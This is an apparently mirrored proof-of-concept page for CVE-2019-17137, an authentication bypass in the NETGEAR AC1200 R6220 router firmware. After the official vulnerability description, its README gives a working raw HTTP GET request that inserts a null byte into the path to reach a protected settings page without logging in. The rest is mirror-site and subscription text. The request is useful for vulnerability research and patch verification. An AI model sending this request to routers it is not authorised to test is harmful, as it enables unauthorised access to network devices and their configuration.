CVE-2019-17137 PoC — NETGEAR AC1200 R6220 Smart WiFi Router 授权问题漏洞

Source

https://github.com/vncloudsco/CVE-2019-17137

Associated Vulnerability

Title:NETGEAR AC1200 R6220 Smart WiFi Router 授权问题漏洞 (CVE-2019-17137)
Description:This vulnerability allows network-adjacent attackers to bypass authentication on affected installations of NETGEAR AC1200 R6220 Firmware version 1.1.0.86 Smart WiFi Router. Authentication is not required to exploit this vulnerability. The specific flaw exists within the processing of path strings. By inserting a null byte into the path, the user can skip most authentication checks. An attacker can leverage this vulnerability to bypass authentication on the system. Was ZDI-CAN-8616.

Description

CVE-2019-17137 POC

Readme

# CVE-2019-17137
Info CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17137

### POC

```

GET /index.htm%00currentsetting.htm HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close

```


![CVE](https://i.imgur.com/q9e3MMz.png)

File Snapshot


 [4.0K]  /data/pocs/10368dd16ba40d4500ef218b71f2ca95d2352b82
└── [ 447]  README.md

0 directories, 1 file

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!